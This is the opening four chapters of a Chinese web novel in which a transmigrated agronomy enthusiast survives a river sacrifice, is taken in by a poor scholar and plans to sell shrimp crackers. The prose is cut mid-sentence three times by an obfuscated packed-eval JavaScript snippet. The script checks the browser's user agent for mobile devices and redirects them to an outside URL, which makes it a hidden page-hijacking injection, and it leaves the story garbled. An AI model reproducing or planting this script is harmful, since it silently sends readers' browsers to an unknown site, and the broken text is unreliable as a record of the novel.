《夫郎送我上青云[种田]》 1. 穿越 “今天必须死么？” 猩红嫁衣箍紧庄聿白，生铁一般将他往河水深处拽，倏忽消失在浑浊的角江水面。 庄聿白穿越了。 “农学小百科”穿到古代农耕社会。但族人不识货，求粮食保产，一顶花轿将他抬到江边，当成供品祭了河。 命不该绝，庄聿白抓住一截树根将自己拖到岸边，泥土混着草根的苦涩腥臭味灌彻胸肺。此刻的他就像一只被雨淋湿的小狗，他用力甩甩头，耳中震心鼓肺的唢呐声却怎么也甩不掉。 刚才岸上献祭自己的那一张张脸在面上逐一闪过，继母、族长次子……他要全记下来，刻进心里。假以时日，定血债血偿！ 庄聿白理了理一瀑琥珀色湿发，目光清澈又坚定。 身上礼服绣金描银，碍事又碍眼。他两下撕掉，一脚踢进河中。猩红一团，水里一滚，被浑黄河水很快吞没。 他抬眼观察周边环境，林深叶茂，杂木横斜。 太阳落山前，得找个落脚地。 古代生态好的很。万一遇到豺狼虎豹，好不容易从河神手里抢回条命，再被野兽吃了，岂不太亏？ 庄聿白在这陌生时代的陌生土地上走着，深一脚浅一脚。他不知道等在前面的会是什么。但他的肚子知道，身上的体力值不多了。 林子渐暗。他此刻像推石头上山的西西弗，哄自己再走一步就到山顶。 “窣窣窣窣……” 身后不远处有东西飞蹿！听声音是冲自己来的。他原地站定，紧张得咬唇。 还没等他判断往哪个方向躲，“咻”一道黑影从后肩窜出。 树叶簌簌。一只细长的大黑……豹？！结结实实停在前方。 黑豹油亮矫健，腿上腱子肉紧绷，金棕色的眸子中血丝乍崩，此时正尾巴压地，“呜呜呜”低吼示警。看架势，杀死三个庄聿白不成问题。 若求人有用，庄聿白想立刻给这只拦路豹跪下，求它慈悲。 好在黑豹意在驱赶他，并没有过来撕人。 还有希望！ 跑！ 肾上腺素作用下，庄聿白原本浮软的双腿来了劲。他朝黑豹守护的反方向一路狂奔，留下身后一阵狂吠，“汪汪汪……” “汪汪汪？！”这叫声…… 不知跑了多久，也不知跑出去多远，在庄聿白累虚脱之前，一方茅草小院，有如天降撞进眼中。 柴门轻掩，庄聿白一个惯性冲进去，忙慌慌又回来反手掩了门。确定那只黑豹……黑狗，没有追过来，方拍拍自己胸口松了口气。 今晚的落脚地，这不就有了么？某种意义上，怎么不算因祸得福？ “有人么？” 他尽量调匀呼吸，弯腰将方才自己慌乱中撞倒的牌子扶起来。 庄聿白又唤了一遍，理了理自己身上仅剩的中衣，想着怎么跟屋子主人介绍自己。 院子里没人，房内也无人回应。 “有人……”庄聿白话到一半停下来。牌子上有字。 “米在厨灶，书在架上。有需自取，去时关门。” 看来主人不在家。那客随主便。 “米在厨灶。厨灶……米！”被狗追的濒死恐惧感退去，庄聿白现在饿得前胸贴后背，满心满眼都是“米”。 庭院干净如洗，庄聿白目光扫到草屋旁那个木柱挑起的、四面来风的凉亭般的所在。 嗯，想必这就是“厨灶”了。 庄聿白几步奔过去，盖子揭开，锅中几张圆饼，白花花散发着食物本真的甜香和焦香。庄聿白喉咙哽了下，嘴角和眼角感动得一起落泪。 天没亮就被人拉起来装扮祭河，现在天暗了才终于吃上这一口饭。穿越第一天，以啃上几张干巴饼收尾，真是刺激又心酸。 说好的穿越可以呼风唤雨、可以腰缠万贯、可以徒手搓原子弹呢！ 怎么到自己这里就是头无片瓦、身无长物、一名不文了？难道自己的穿越任务，是两手空空体验人间疾苦？ “嗝——” 庄聿白带着满腔愤恨和怨气，一口接一口嚼着饼。微软，微甜，微凉。 伸手再去取，锅已空。 “算了。不吃了。” 肚中有食，心内不慌。麦香带来的果腹感和安全感，不仅将满腹怨言压了下去，庄聿白甚至还有一点开心。 既来之则安之。既然自己带来的穿越装备是零。 好，从零做起！ 厨灶无门无窗，也可以说是360°全景天窗。内有齐腰高陶釉缸两只，一只盛水，一只装米。水是满的。米，却只有小半缸。灶上放一个黑陶油坛，灶旁码着齐齐一堆木柴。简单、干净、整洁。 庄聿白朝正房看了看，还是选择推门而入。 正房一大间全无遮挡，更加简单、干净、整洁。右侧靠墙是一张床，床头摆一个柜子。左侧靠窗一张书桌，油灯一盏、砚台一方，外加竖着几杆笔再无其他。 庄聿白刚想转身出门，桌子后面的那面墙拽住住了他的视线。 书，整整一面墙的书！ 光线暗，书籍整齐划一，乍一看确实像面墙。 除了常见的四书五经，架上分门别类放着法家、阴阳家等著书，以及《齐民要术》《太平圣惠方》《养生类纂》等一些医书、农学书、工具书。 …… 难不成是个书贩子？庄聿白越想越是，“不然哪来这么多书？” 图书在古代属于稀缺资源，能做图书生意，日子也不至于过成眼前这般……里外干净。 * 暮色渐深，主人还没回来。 庄聿白坐在床沿，裤管中细长匀称的小腿空荡荡晃着，略带无聊。身后粗布被枕，规规矩矩横在里侧。 未经主人允许，上床不好吧…… 庄聿白眼珠咕噜，回头看了眼枕被，早就酸胀的双腿不觉又快速荡两下。 睡一下没关系的，主人回来前铺好，再甜甜道个谢就是了。庄聿白将鞋一甩，翻身上了床。 床不宽，一人有余，两人显挤。枕头高度刚好，完美托裹住脖颈，像躺在一团柔软的云上。 他抬手拉了一截被角搭在肚子上，想着如何博取屋主这位“穷好人”的同情，好收留自己一段时间。 饭饱水足后躺倒的感觉真好。清新的皂角味，陌生，却不招人烦，甚至可以说有些好闻，但只闻了两下，他就睡过去。 等再睁眼，房内完全暗下来。 原主的记忆越来越糊，庄聿白甚至有些记不清原主为何要被祭河。 记不清就忘记。Letitbe。拒绝精神内耗，从他庄聿白开始。 宽大衣衫包裹下，他像只无忧无虑的小狗将身子扭了几扭，长长伸个懒腰。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773736|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 衣衫，庄聿白从柜子里自助穿搭的，松松罩在身上。 月光满溢，在地上、书桌上、书墙上，画着抽象的几何图形。 “哗啦——” 院中柴门似乎响了。 主人回来了？庄聿白咕噜从床上爬下来。等他门缝中一看，心却提到了嗓子眼。 来人身量高耸，对，高耸，像座耸入云端的山。 不请自来，夜半进门，不是梁上君子，又会是谁！ 虽说同是不请自来的，可他庄聿白不一样。 他白天来的。 月色庭院下，来人拉着长长黑黑的影子，厚厚一团向前寸寸碾动，压迫感十足。 歹人似乎也发现了那个木牌，只看了一眼，便碾着他的影子去了灶屋。 还好自己来的早，不然那几个饼子，岂不是便宜了这厮。 庄聿白转念一想，不对。人饿的时候，最容易生气。若这歹人也饿极，发现既没吃的、又没钱财可拿，一时歹性大发把自己咔嚓了也是有可能。 他倒吸一口冷气，不过很快挺直腰板，与其坐以待毙，不如以攻为守迎上去。 庄聿白认定屋主是个好人，也认定自己帮着降住歹人，这份人情足以“道德绑架”对方收留自己一阵子。 不过，对方高耸入山……算了，搏一搏吧。大不了就是一死。死了穿越回去，也不吃亏。 庄聿白四下看看，抓起一根木棒，快速躲到门后，做出棒球的击球准备姿势。 果然，歹人在厨房没找到值钱东西，碾着他的那团影子朝正房走过来。 “哒、哒、哒” 一步压一步，沉稳有力，一声声踩在庄聿白心头。 庄聿白调整站姿，手中木棒紧了紧，心中默念自制咒语给自己壮胆。 “吱嘎——” 门开了，来人披着满身月色，肩背宽厚阔朗。 就是此刻！ 眼一狠心一横，庄聿白抡圆手臂，瞅准歹人后脑，狠狠就是一棒。 “泼贼，看棒！” 来人虽高大却身段灵活，听背后有风忙向旁一闪，奈何离得太近没躲开。木棒偏斜，结结实实打在左肩。 “唔。”来人闷哼一声，跳开几步，快速转身看向庄聿白。 “你是何人？” 木棒哐啷啷震掉在地，庄聿白忙弯腰捡起来后退两步。心中又慌又悔。 对方比想象中还要威猛，没能一招制服，这算自投罗网、自寻死路吧。不过，邪不压正，自己站在正义这边，苍天定会有眼。 “泼贼！你夜闯我家，还敢问我是何人！吃我一棒！” 正义使人热血沸腾。上头的庄聿白挥着手中木棒，闭眼一顿乱打。 他以为自己与对方扭打成一团，正在英勇却敌。等意识归位，才发现自己早被绳子绑成一团，扔在床上。 …… 怎么说自己也是身高一米有八的成年男子，手中还有武器。对方就这样，俘获小鸡似地、轻轻松松给自己绑了？ 一枚火苗亮起，房间大半笼罩在晃动的光影中。 孟知彰正襟危坐，隔着书桌打量着床上的庄聿白。 “阁下吃光了我的饼，睡乱了我的床。不仅不知感恩，还对我痛下死手，是何道理？”孟知彰目光不易觉察地打了个转，“阁下身上的衣服，也是我的。” 2. 初见 手脚被绑的庄聿白团在床上，眼睛滴溜溜转，心中叫苦不迭。 祭河、遭犬、被捆，穿越第一天的戏码，是不是多到有些过分了？ 不过这次算自己理亏。可哪个知道你就是房主？ 虎背熊腰长得跟头黑豹似的。谁家好人夜半才归，还悄咪咪进门。出手伤人是不对，你这不是没受伤么！怎么就把人捆成了个粽子？ 见床上人梗着脖子不说话，孟知彰起身踱起步子。每一步都带着练家子的杀气。高耸的影子漫至房顶，和那冷冰冰的话一起，明明暗暗砸向庄聿白。 “据《大恒刑统》卷十八贼盗律，诸夜无故入人家者，笞四十。主人登时杀者，勿论。” 孟知彰看了眼滚落在地的棍棒，又看了看床上人。 “卷十九，持杖行劫，不问有赃无赃，并处死。” 床上人那小鹿似的眼睛眨了又眨，不知是没听懂，还是听懂之后被吓住了。 孟知彰抬脚慢慢走近，俯下身，带着睥睨一切的眼神：“我看阁下年纪轻轻，为何寻死？” 灭顶的身影压过来，压得庄聿白后背发紧，又听到“寻死”两个字，汗毛登时炸起来。 “哪个要寻死了？” 庄聿白这是遇到硬茬子了。对方不仅手上功夫了得，这嘴上功夫，更了得。 他有些招架不住，眼见对方越压越近，心中将“大哥饶命”快速翻译出来：“兄台好身手！刚我以为进了窃贼，帮你……惩奸除恶的。误会一场……误会！” “惩奸除恶？误会？” 灯光晃动着从背后打过来，庄聿白看不清眼前人表情，更猜不出对方心思。 “大哥，好汉……兄台，真的是误会！我只是过路的……好人。不然你检查下么，看家中是否少了东西……除了那几张饼。” 勇夫不可怕，最怕勇夫有文化。庄聿白没料到能文能武还懂法。按他说的，就算今天把自己打死，那也在法度之中。武力和法力，自己可是一个也不沾边。 “家中遭了难，出来找口吃的。”见对方没有进一步逼问，庄聿白忙补了张感情牌。这句是情急瞎编的，吃光人家的饼总要找个说得过去的由头。 对方带着那团影子靠过来，气息越来越近，庄聿白似乎闻到对方身上的墨汁味。压迫感太强，庄聿白不觉屏住呼吸，可他屏得好辛苦，马上要喘不上气、要窒息了……好在这团影团倏忽抽离。 “你是平宁州的？”头顶的声音和缓下来，刚要转身，似又想到什么，“整个这一代，只有平宁州前段时间发了水，不过粮田半数已经救下，何况去年是个丰年，夏收又在即，何至于出来逃荒？” 身上绳索绑得难受，庄聿白挣扎两下，额角已经微微渗出些细汗。我哪里知道为何要出来逃荒？总不能说自己祭河没死成吧。万一他将自己送回去，岂不是又得重新死一遍？ “今日是我吃光了你的饼，也是我挥棒打了你。事已至此，我无话可说，要杀要剐随便吧！” 夜色遮挡下，庄聿白上了脾气。 薄薄一层月光覆上来，盖住捆缩成一团的庄聿白。手腕轻盈瘦削，透出一股苍白的倔强。 孟知彰眉心微蹙，视线在眼前人身上停留片刻，抬脚出了门。 听声音这是去了灶屋。庄聿白如释重负，强烈的压迫感，随眼前人衣角一起消失在门侧。 他在床上稍稍翻个身，大大喘了几口气，但还没等他喘匀，就戛然止住。 柴院空荡荡、沉寂寂，灶屋传出的声音，越发清晰、刺耳。 “叮当——”金属碰撞， “嘎吱——”绳索勒紧， …… 庄聿白睫毛微颤，心一点点下沉。……难道今天真的要交代在这了？ 他支棱起耳朵，尽量不错过每个细微声音。脑中各种分尸纪录片场景纷至沓来，捆绑、碎尸、掩埋……谁曾想自己马上就要以身入局、为这个世界贡献一起分尸案？ 这是穿越到一个什么地方啊，又是聚众祭河，又是暗夜碎尸。 刚才不该放硬话的。 漫长的等待中，孟知彰托着他巨大的影子走回来，一只口袋重重床前一放，不知装了什么。他又从胸前掏出一个布袋颠了颠，摆在庄聿白眼前。 这是做什么？ 庄聿白心中练习的那句“好汉饶命”终究没喊出来，倒是眼前人先开了口。 “家中米粮不多，这是今日新得的一百文，支撑你回到平宁州没问题。” 孟知彰并没有等床上人道谢，或者说他根本不关心这个不速之客有什么反应。他坐回桌前，将火苗挑亮一些，掏出书本纸张，旁若无人写起字来。 “你……不报官，也不杀我？” 庄聿白被这一顿操作搞得有点懵。 孟知彰手中的笔在砚台中打了半个旋，吸足墨汁：“今日夜深了，你暂且宿在这，明早再上路。” 这是唱哪出？ 不仅既往不咎，还送银钱给自己？不知是不是火苗的原因，庄聿白觉得眼前人的形象一下亮起来。就连方才黑云压顶的背影，此刻在庄聿白眼中蒙上了一层薄薄柔光。 “黑豹”退去初始印象，只看脸，“矜贵公子”这个词从庄聿白脑海跳出来。 点点灯火染进庄眸底，庄聿白实在不知该怎么形容眼前人。温凉有度，遐迩皆宜。嗯……像一首化不开的古诗？ 月光静、灯苗柔，眼前人清悠超逸。 庄聿白的“矜贵公子”垂眉低目，不苟言笑，此刻正在纸上写着什么。灯光轻舔，柔和地打在高挺鼻梁上，眉眼在光影下越发神秘。 都说灯月之下适合看美好的事物，果不其然。这一幕，简直复刻出庄聿白想象中的完美古代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773737|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生活场景。 不对，他庄聿白的古代憧憬中，主背景怎么会是个男人？ 不行不行！他恐同。那将公子换成佳人。庄聿白不认死理，最擅长通达应变。 可他这般盯着人看，与此前总搭讪自己、没事还大秀肌肉的男同有什么区别？想来对方也恐同，不喜欢这些不清不楚的眼神。 素昧平生，别人送米又送钱，出于礼节自己应该说些什么。庄聿白清清嗓子。 “你是个贩书的？” 墨润纸洁，饱满笔端划过，一行经文工整落下：过去心不可得，现在心不可得…… 孟知彰不知对方为何会有此一问。他点墨提笔，垂眸续了一句：未来心不可得…… 笔未停，视线仍留在纸端，嘴角却有了温度：“在下，算是读书的。” 读书人？！ 庄聿白眼底燃起光，簇簇灯苗在他心头拱火。 读书好。读书是古代为数不多的上升手段之一。一朝得志，鸡犬也跟着升天。这大半夜的，就算家里遭了贼，人家还能心无旁骛挑灯苦读，是个厉害角色。想来考取个功名，指日可待。 自己初来乍到正好无处可去，若能“天使投资”入股此人，等他飞升，自己岂不是也能跟着享受一下这世间繁华。 一顿饱、顿顿饱，还是将来的顿顿好？庄聿白心里小算盘噼里啪啦。 自己堂堂“农学小百科”新时代五好青年，穿越到古代农耕社会，这难道不算精准投放？不算天赐良机？ 希望眼前这穷小子能识货。 “呜呜呜啊啊啊——”庄聿白突然将脸埋进枕头，嚎啕起来，“家中都死绝了……就剩我一人，我已经无处可去……呜哇哇哇……公子你就……可怜可怜我吧哇哇哇” …… 庄聿白原只想表演一下，谁知悲声一放，这一天来的离奇遭遇，竟真的把心中劫后余生的委屈勾出来。 天地之大，孑然一身，四顾茫茫。若对方不收留自己，明日该去哪里流浪？原主的家断然不能回，难不成再被祭河一次？ 还有山林中那只恶犬，说不定下次遇到的就是真猛兽，骨头渣子都剩不下。出了这个门，自己够呛能活上三天…… 庄聿白索性借着夜色掩盖，真真假假抽抽噎噎又痛痛落了几滴泪。 书桌那端停了笔，空气凝滞片刻，良久：“你想让我收留你？” 跟聪明人打交道就是好。自己正想着要怎么铺垫，对放已经给出了答案。 灯苗晃了几晃。 庄聿白隔着朦胧泪花看向孟知彰，轻轻点了头。他看不清对方的表情，但对方能出米出钱给自己，想来也 能被自己编的凄惨身世感动。 庄聿白正要开口道谢，却听两个字冷冷撞了过来。 “不行。” 回复干脆利落又决绝。 3. 琥珀 “不行？” 庄聿白怔住。很显然，眼前人并不是好说话的老好人。 他歪在枕上，将豆大的泪珠在被角上蹭蹭，没选择继续嚎啕。装弱小没用，绿茶不是谁都能当，也不是谁都能吃这一套。看来得换个戏码。 “你是担心家贫业小，无法支撑两人生计？” 庄聿白开始做洞察分析，他细细盯着对方的反应，见对方没反驳，忙接下去，“我能帮你赚钱，只求让我有片瓦寸席安身。” 庄聿白尽量文绉绉，让对方相信自己是个受过良好教育的正经人。 果然，听到钱对方似有所松动。若轻若重的一瞥从案头那端看过来，手中笔杆却仍未停。 庄聿白下意识舔了下唇。 万幸，不是那种宁死也不为五斗米折腰的酸儒。能折腰就好。折腰，才有机会。 “兄台是读书人，层层科考上去定是要不少银钱。而我，恰有些赚钱的小技艺。你我联手，岂不是互惠互利、双进双赢？”庄聿白一激动想坐起来，奈何手脚全捆着，又倒回枕头上。“落地为兄弟，何必骨肉亲。今日我误打误撞进了……进了兄台家的门。定是上天注定的缘分。” 对方似乎没有要给自己松绑的打算，但这番话明显听进去了。 庄聿白担心那张嘴再说出什么让人寒心的话，忙先发制人：“这100文钱，一月为期，我10倍奉还如何？” 既然让人收留，总得拿出些诱人条件。 “你读过书？”孟知彰并未接银钱的茬。 “读过几本书，些许认得几个字。” 案头那边的目光又决然收回去，片刻道：“睡吧。” 庄聿白心中一喜，眼睛亮晶晶，连声调都上扬：“兄台是答应收留我了！” 笔酣墨饱，气势开合，孟知彰语气不带喜怒：“我不在夜半三更做决定。” * “唧啾——” 窗外一声清亮鸟叫，接着一群鸟雀啁啾不停。邻舍公鸡也开始一声声打鸣。空旷，辽远。 孟知彰从案上抬起头。晨色黛青，透过窗户透进来。 他将手中抄写经卷收了个尾。城中吴员外为母祝寿，请人抄经。孟知彰得了《金刚经》，凡5176字。读书之余抄写，每日能赚个几十文贴补家用。 孟知彰收起纸笔，起身按熄灯苗。 外衫从阔朗肩头脱去，笔挺腰身撑起一层细葛中衣，紧致轮廓若隐若现。 床上的不速之客还在沉沉睡着。孟知彰抬脚来至院中，路过时不经意看了一眼。 卯时二刻，是孟知彰的习武时间，风雨无阻。 竹为剑、影为伴，微凉晨风中一招一式随心变幻。剑气犀利、身姿矫韧，少年之气如在渊潜龙，越攒越昂扬。 不多时，灰蒙蒙的草屋蓬院上，一轮旭日冲出重云，阳光如碎金洒下。 孟知彰调匀呼吸，掏出一方细葛巾帕，浅棕色半截手腕绷出几条青筋，正热血贲张。薄茧轻覆的手，将额间细汗拭去。目光瞥过房门，却陡然一滞。 几件衣衫，胡乱堆叠在门后。 雪白丝绸一角染着……污泥和血迹。 孟知彰向床上看去，只一眼，心跳猛地漏了半拍。 斜斜几缕阳光爬上床头，床上人如瀑发丝从枕上垂落，琥珀色在照耀下如烟似霭。琥珀色…… 孟知彰眸色一沉，忙走近几步。梦中人仍沉沉睡着，呼吸均匀。 他倾身俯近，似乎急于在对方脸上印证些什么。 白皙清透的脸颊上，眉眼微蹙，睫羽轻颤。左眼凤尾旁，晕染着一粒浅浅的胭脂色红痣。海棠花瓣凌风落雪山，看似造化主无意之笔，却将人衬得可怜又可爱，沁人心脾。 可这琥珀发色、凤尾红痣…… 孟知彰眸底波澜暗涌，他站在床前，怔怔看着眼前人。 巧合？难道天下真有这样巧合之事？ 不知过了多久，他为床上人掖好被角，捡起地上的沾血衣衫，轻声出了门。 * 庄聿白昨晚的情绪，在大悲中怒小喜之间起起落落，折腾得他筋疲力尽，在确定至少眼下不用死了后，很快睡过去。 黑甜一觉，等再睁开眼，一张英气逼人的脸赫然映入眸底。 净润如瓷，鼻梁高挺，眉目中含着几分意气风发。面前这张脸，似在哪里见过…… 庄聿白有点懵，他用力眨眨眼，试图让意识归位。 阳光从对方颈侧融出一团温暖的光圈，随着对方动作时不时落在自己脸上。 庄聿白微微眯下眼，鸦色睫羽沾上晨光，斑斑光点晃动。 眼前人，有点像房屋主人，昨晚的矜贵公子。 “醒了？”矜贵公子轻轻推了下自己肩膀，“起来吃饭。” 语气轻柔不少，和昨晚那个冷冰冰、不近人情的大黑豹简直判若两人。 庄聿白坐起身，身上绳索不知何时已经解去。 孟知彰离开前将一叠整齐如切的衣衫放在床头深棕色木柜上，给庄聿白的。 庄聿白也没客气，起身套上，深蓝色半新不旧的一套短褐，上襦下裤，腰中系一根浅青色帛带。 多亏这条帛带，对方身量较自己高一些……也壮一些，庄聿白将襦衫穿得像长衫。他将帛带紧了紧，抬脚来到院中。 阳光下的柴院方正齐整，质朴又清爽。虽不至于说空无一物，满院除了靠近墙角的一株石榴树，也只有简单的两三件家当。 石榴花开正盛，满树亮红点点，给清晨提气不少。庄聿白昨晚换下的衣服，正平整挂晾在树旁晾衣绳上。 衣服都给自己洗了，看来这是要留自己。 庄聿白心里有了底，他用主人备好的皂角膏汁漱过口，盆中掬一抔凉水洗去昨夜慵懒。 洗漱空档，早饭已齐备。一方木桌，两条小凳，桌上三两碗碟杂陈。 一袭白衣长衫的孟知彰，神采奕奕，正站在那树石榴花叶背景前，等他庄聿白走过来吃饭。阳光一束披上他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773738|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 素净衫袖，越发衬得人华采卓卓。 或许是没见过活体版古代美男子，庄聿白不得不承认，有那么一刻，他被对方看过来的目光晃得有三分不好意思。 庄聿白轻咳一声，拽拽衣角，挺直腰身走过来，落了座。 桌上黄灿灿一小盘麻油炒蛋，配上一碟细切绿叶凉拌菜，颜色清爽，味道勾人。主食是昨日的饼子，三个一摞，白圆软，麦香阵阵。 肚子早不争气地咕咕叫了，庄聿白等不及伸手抓了个饼子在手上。新出锅的，一口下去，温热喧软，食物带来的简单的满足感，足以慰藉一切小沮丧。 绿叶菜口感像是小白菜，脆爽多汁，沾裹着薄薄一层汤汁，酸香爽口，很是开胃。 炒蛋则松软香糯，嫩滑入味，和饼子的麦香交相辉映，给人类带来最纯真的满足感和安全感。 “家贫，招待不周，多包涵。”孟知彰正襟危坐，目光诚恳。 庄聿白昨天里里外外将这个家探了个底朝上，他自是明白，这应该是眼前人今早能找到的最好的待客食物了。说不定还是从四邻借来的。 “这饭菜太好吃了！兄台厨艺，超赞！”庄聿白很领情，也很给面子，高高比个大拇指。他口中饼子又嚼了两下，这才发现对方连个碗筷都没放：“你怎么不吃？” “吃过了。”孟知彰微微颔首，算是领了这份夸赞，旋即目光带些探寻，“你是平宁州人？” 庄聿白当然不是平宁州人，是他昨日慌说自己逃难出来，眼前人才错认为自己来自闹过水灾的平宁州。 若实话说自己是祭河死里逃生，正常人都怕惹麻烦，自然是不敢收留的。 其实昨日落水后，原主的记忆已经开始模糊。加上后来的一系列惊吓，庄聿白今早一觉醒来，除了原主与自己同名，只记得他被族中祭河，家中后母苛待原主。 至于其他记忆，就像雾里寻花，伸手去抓，手近雾散花亦无。 庄聿白放下碗筷，蹙眉垂头：“实不相瞒……昨日我这条命是从河中捡回的，不太记得自己是哪里人。” 他不想说假话，也不打算全说实话。 “你叫什么名字？”见对方伸长筷，孟知彰帮忙将那碟青菜，往庄聿白面前推了推。 庄聿白顺势夹了根青菜，慢慢吃掉。陌生人求收留，自是需要问明来历的，这可以理解。但他连名字也不能说。万一被刻薄后母找到这里，岂不是白忙活一场。 庄聿白将筷子往口中送去，咬到一半才意识到，筷子已空。 他下意识看向孟知彰，对方对自己这尴尬一幕并不介意，不过看似对自己的头发很感兴趣，时不时看两眼。 自己打小头发就不够黑，谁知一朝穿越连原主发色也浅。 “琥珀……”庄聿白循着对方的视线看了眼自己的头发，现编的名字脱口而出，又带着点不自信。他将空筷伸向炒蛋，“……印象中是叫这个名字。” “琥珀？！” 孟知彰坚毅的唇角抽动一下。 4. 虾片 “请问这是哪里？” 庄聿白担心对方继续盘问，强行转换话题。 “长宁州、暨县、孟家庄，在下孟知彰。” 孟知彰自报过家门，凝眸看定庄聿白。 庄聿白心中发虚，他用力回忆，对地名着实没什么印象，不过孟知彰这个名字……算了，还是先解决眼前最要紧的问题。 “孟兄是打算收留我了？” 孟知彰未置可否，似乎没等到想要的答案，眸底微不可察暗了一下：“你昨日说一百文，一月为期，将十倍奉还。” 正嚼嚼嚼的庄聿白，使劲点头：“一月为期，若食言，任凭处置！” 为了成功留下，这是下了军令状。 “为何是一月？” 为何是一月？还不是为了争取成功率么。开口就说住蹭吃蹭喝住上一年，正常人谁会答应。退一步讲，万一不住着不舒服也好跑路。当然这些都不能摆在桌面说。 庄聿白心里嘀嘀咕咕，不等他开口“解释”，却见孟知彰似乎看透一切，起身站起来。 “我出趟门，少则三日，多则五天。钱在书桌上，除了你要的100文，还有50文你日常开销。” …… 这就算留下了？！ 等庄聿白反应过来，开心得恨不能去抱住眼前人。他心里单方面宣布，现在孟知彰就是他在古代最好的兄弟了。 对，好兄弟！ 一高兴，庄聿白就想跟这位好兄弟多说几句：“孟兄，都说读书人目下无尘，绝不为五斗米折腰。我还担心这些赚钱之类的话会冒犯你。” 孟知彰将收拾好的招文袋斜跨在身上，越发显得肩宽背直、身姿挺拔。 “那是酸儒做派。民以食为天，不谋稻粮何以安身？无以安身，何谈读圣贤书、闻窗外事？又如何修齐治平？” 孟知彰说得云淡风轻，庄聿白却听得一愣。阳光从背后打过来，给孟知彰镀上一层金色光晕。光晕映入庄聿白眼底，心中也跟着一点点翻涌着细碎光斑。 “兄台胸襟宽广、气魄不凡、见识过人……小弟佩服！” 庄聿白极力搜罗溢美之词，心中窃喜抱对了大腿。此人绝非池中物，有如此志向，日后肯定能飞黄腾达。现在就差自己好好赚钱来为他搭青云梯了！ 孟知彰明白对方的夸赞虽浮夸，但绝非出于社交情面的恭维：“君子役物，小人役于物。只要内心坦荡，且这钱财取之有道、用之亦有道，又何须避之如虎豹？” 说完目光坚定地看向庄聿白。 这下更不得了，庄聿白登时觉得自己俨然也成了对方口中的君子。 交朋友嘛，三观相符最重要！他已认定孟知彰就是自己的知己。 庄聿白将人送到柴门旁，作为一名标准直男，他伸出手要用直男的方式拍拍对方肩膀表达友好。奈何身高差在那，手举到一半换了方向，在孟知彰胸前不轻不重捶了一拳。 “这个家交给我，尽管放心！” 拳头很快弹回来……这副胸膛鼓囊紧实，震得庄聿白手木木的。若非亲眼看着，他还以为自己锤在了铜墙铁壁上。 “孟兄这身材……了得！怎么练的？也教教我！”庄聿白轻揉下手背，带着直男在这种场合下该有的最高礼赞，“若非穿着这身儒生长衫，我还以为孟兄是习武之人！” “过奖。略懂一些拳脚。”孟知彰的目光从琥珀色头发移到昨晚被他单手制服、绳索捆绑的细弱手腕上，“说不明白的事理，交给拳脚更容易解决，不是么？” * 老虎不在家，猴子开始称大王。 看着孟知彰背影消失在蜿蜒林中路的尽头，庄聿白回身将柴门在背后关紧。 穿越古代之独居生活，正式开启！ 庄聿白将院子内外又巡视一遍，看是否有漏掉的地方。说不定眼前这贫穷的表象，只是为了考验自己。不然怎么解释一贫如洗的家中，却生长出孟知彰这般苍松翠柏般的存在？ 这个院落就像在土地中生拔出来的，带着泥土的韧劲和质朴。庄聿白他连书架后的墙都敲过了，家中除了孟知彰放在书桌的那150文钱，多出的只有灶屋的5枚鸡蛋和2根黄瓜。 看来实在是他多虑了。好吧，贫瘠的土地，也能长出芝兰玉树。 孟知彰那张棱角分明、眼神深邃到近乎神秘的脸，时不时在他面前浮现一下。英俊到让人……嫉妒。 嫉妒，也算直男之间的赞美。庄聿白是这么理解的。不过眼下这种形而上的问题，他没有太多时间去关心。他有更紧迫的任务。 1个月100文钱10倍，他庄聿白可是守信君子，必须说到做到。 做点什么来捞这初来乍到的“第一桶金”呢？ 庄聿白背着手，庭中信步，将家中“资源”排列组合一遍。小麦、大米、油……忽地灵光一闪。对，就是它！ “及时行乐”神器——虾片！ 虽一时摸不清古人口味，但他相信人类共同的弱点。 膨化类食品简直是全人类“享乐”基因的诱杀剂，将口腹之欲精准捕控。为了让入口的声音更酥脆，现代企业更是花费大量时间和金钱去研究成分配比、厚度口味，尤其每一片的最佳崩裂点，更能精准击中你我爽点。 哪怕现代人知道它是高热量食品，仍然会选择“飞蛾扑火”。只要吃下第一片，就会吃完一整包。“咔嚓”声一响，根本停不下。 并不是大家意志薄弱，而是厂商专攻大家的意志薄弱点。 1.古代没有虾片，属于稀缺商品。 2.主材料淀粉和虾，相对简单易得。 3.生产工艺可以纯手工实现。 1+2+3=虾片，是穿越古代创业之完美先锋产品！ 虾片制作不难，淀粉与虾泥和成面坯，煮熟切片晒干，过油一炸，酥脆脆的虾片就成了。 掌握虾片制作“核心技术”的庄聿白，在做好初步“市场分析”和“生产环境”分析后，信心满满开始了他的美食制作之旅。 第一步，水洗淀粉。 